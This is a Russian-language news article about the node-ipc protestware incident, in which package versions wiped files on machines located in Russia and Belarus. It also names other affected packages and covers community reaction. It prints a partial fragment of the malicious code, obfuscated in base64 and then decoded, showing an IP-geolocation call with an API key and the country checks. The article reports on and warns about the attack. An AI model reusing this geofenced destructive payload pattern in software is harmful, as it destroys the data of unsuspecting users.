Рубріки: Новости

Открытый софт ушел на войну: популярный npm-пакет удаляет файлы у проектов из России и Беларуси

Игорь Грегорченко

Мантейнер популярного npm-пакета node-ipc выпустил обновленные версии своей библиотеки, где выразил протест против продолжающейся войны в Украине. Новые версии популярного пакета удаляют все данные и перезаписывают файлы на машинах разработчиков из России и Беларуси, а вместо оригинальных файлов создают текстовые файлы с призывами к миру.

Что случилось

8 марта разработчик Брэндон Миллер, известный в сети под ником RIAEvangelist, выложил опенсорсные пакеты peacenotwar и oneday-test (как на npm, так и на GitHub). Проекты были изначально созданы как политический протест, при запуске они добавляли на рабочий стол любого установившего их призыв к миру.

Кроме того, в последний версии известной библиотеки node-ipc, также сопровождаемой RIAEvangelist, им были внедрены более разрушительные пейлоады, направленные на уничтожение всех данных и перезапись файлов пользователей. Этот вредоносный код  определяет внешний IP-адрес хост-системы на которой был запущен, после чего удаляет пользовательские данные всех пользователей из России и Беларуси.

Уязвимые версии

Издание Bleeping Computer сообщает, что деструктивный код содержат версии пакета 10.1.1 и 10.1.2, которые изучаются в записи CVE-2022-23812, где классифицируются как malware. 

Поскольку node-ipc версий 9.2.2, 11.0.0 и более поздних включает в себя Peacenotwar, российско-белорусские пользователи также обнаруживают на рабочем столе послание «WITH-LOVE-FROM-AMERICA.txt», где автор призывает к миру.

Так как дальнейшие действия автора (как и судьба пакета в целом) не понятны, всем пользователям node-ipc рекомендуется зафиксировать зависимости на безопасной версии 9.2.1. Зафиксировать версии также рекомендуется и для остальных разработок того же автора, который сопровождал 41 пакет

Почему это опасно?

Приведем несколько фактов, позволяющих оценить масштаб и опасность этого инцидента.

  • node-ipc загружают более 1 млн раз в неделю, пакет используется в качестве зависимости у 354 пакетов, которые  также подвержены этой уязвимости.
  • Это популярный пакет, на который полагаются многие другие библиотеки, включая, к примеру, сверхпопулярный Vue.js.
  • Определение страны в коде осуществлялось через обращение к сервису api.ipgeolocation.io. В настоящее время API-ключ из вредоносной вставки, из которой осуществлялось обращение к ipgeolocation.io, заблокирован сервисом.
  • В коде осуществлялся рекурсивный перебор каталогов с попыткой перезаписи всех встретившихся файлов.
  • Сам вредоносный код может быть зашифрован/обфусцирован:

Пример исходного кода:

const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
    o.get(n.toString("utf8"), function (t) {
        t.on("data", function (t) {
            const n = Buffer.from("Li8=", "base64");
            const o = Buffer.from("Li4v", "base64");
            const r = Buffer.from("Li4vLi4v", "base64");
            const f = Buffer.from("Lw==", "base64");
            const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
            const e = Buffer.from("cnVzc2lh", "base64");
            const i = Buffer.from("YmVsYXJ1cw==", "base64");
            try {

 

Пример расшифрованного кода с вредоносным пейлоадам:

const n = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
  o.get(n.toString("utf8"), function (t) {
    t.on("data", function (t) {
    const n = "./";
    const o = "../";
    const r = "../../";
    const f = "/";
    const c = "country_name";
    const e = "russia";
    const i = "belarus";

Война в других пакетах

Кроме громкого инцидента с node-ipc, также фиксируются и другие попытки скрытого добавления в различные открытые пакеты/проекты противоправных действий, не связанных с их прямой функциональностью и привязанных к IP-адресам или системной локали. 

Можно привести следующие примеры уже скомпрометированных проектов:

es5-ext, rete, PHP composer, PHPUnit, Redis Desktop Manager, Awesome Prometheus Alerts, verdaccio, filestash.

Судя по перепискам в чатах, многие фронтендеры из России и Беларуси уже столкнулись с проблемами: 

Коллеги, обращаем внимание, что  популярная библиотека https://www.npmjs.com/package/es5-ext которая не обновлялась до этого 2 года начала получать регулярные обновления которые содержат как негативную пропаганду, так и код по таймзоне увеличивающий утилизацию ресурсов

Смотреть файл – _postinstall.js

Подробный список всех уязвимых пакетов/проектов можно найти в этом документе, который оперативно пополняется.

Реакция сообщества Open Source

Это уже второй громкий скандал от опенсорсного разработчика, с которым сообщество сталкивалось за последнее время. Первым протестующим стал автор библиотек faker и colors, которые насчитывают более 20 млн загрузок еженедельно только через npm.

RIAEvangelist, который в общей сложности поддерживает более 40 npm-пакетов, пошел еще дальше, внеся прямую деструктивную компоненту. Почти все сообщество, по обе стороны военного конфликта, согласно, что случившееся выходит за рамки «мирного протеста». Многие убеждены, что развертывание деструктивных полезных нагрузок в популярной библиотеке — опасный прецедент, который может подорвать в будущем принципы и устои опенсорсного сообщества.

На данный момент, столкнувшись с таким резонансом в сообществе, RIAEvangelist пытается замести следы и активно редактирует и удаляет свои предыдущие комментарии и коммиты

Останні статті

Обучение Power BI – какие онлайн курсы аналитики выбрать

Сегодня мы поговорим о том, как выбрать лучшие курсы Power BI в Украине, особенно для…

13.01.2024

Work.ua назвал самые конкурентные вакансии в IТ за 2023 год

В 2023 году во всех крупнейших регионах конкуренция за вакансию выросла на 5–12%. Не исключением…

08.12.2023

Украинская IT-рекрутерка создала бесплатный трекер поиска работы

Unicorn Hunter/Talent Manager Лина Калиш создала бесплатный трекер поиска работы в Notion, систематизирующий все этапы…

07.12.2023

Mate academy отправит работников в 10-дневный оплачиваемый отпуск

Edtech-стартап Mate academy принял решение отправить своих работников в десятидневный отпуск – с 25 декабря…

07.12.2023

Переписки, фото, история браузера: киевский программист зарабатывал на шпионаже

Служба безопасности Украины задержала в Киеве 46-летнего программиста, который за деньги устанавливал шпионские программы и…

07.12.2023

Как вырасти до сеньйора? Девелопер создал популярную подборку на Github

IT-специалист Джордан Катлер создал и выложил на Github подборку разнообразных ресурсов, которые помогут достичь уровня…

07.12.2023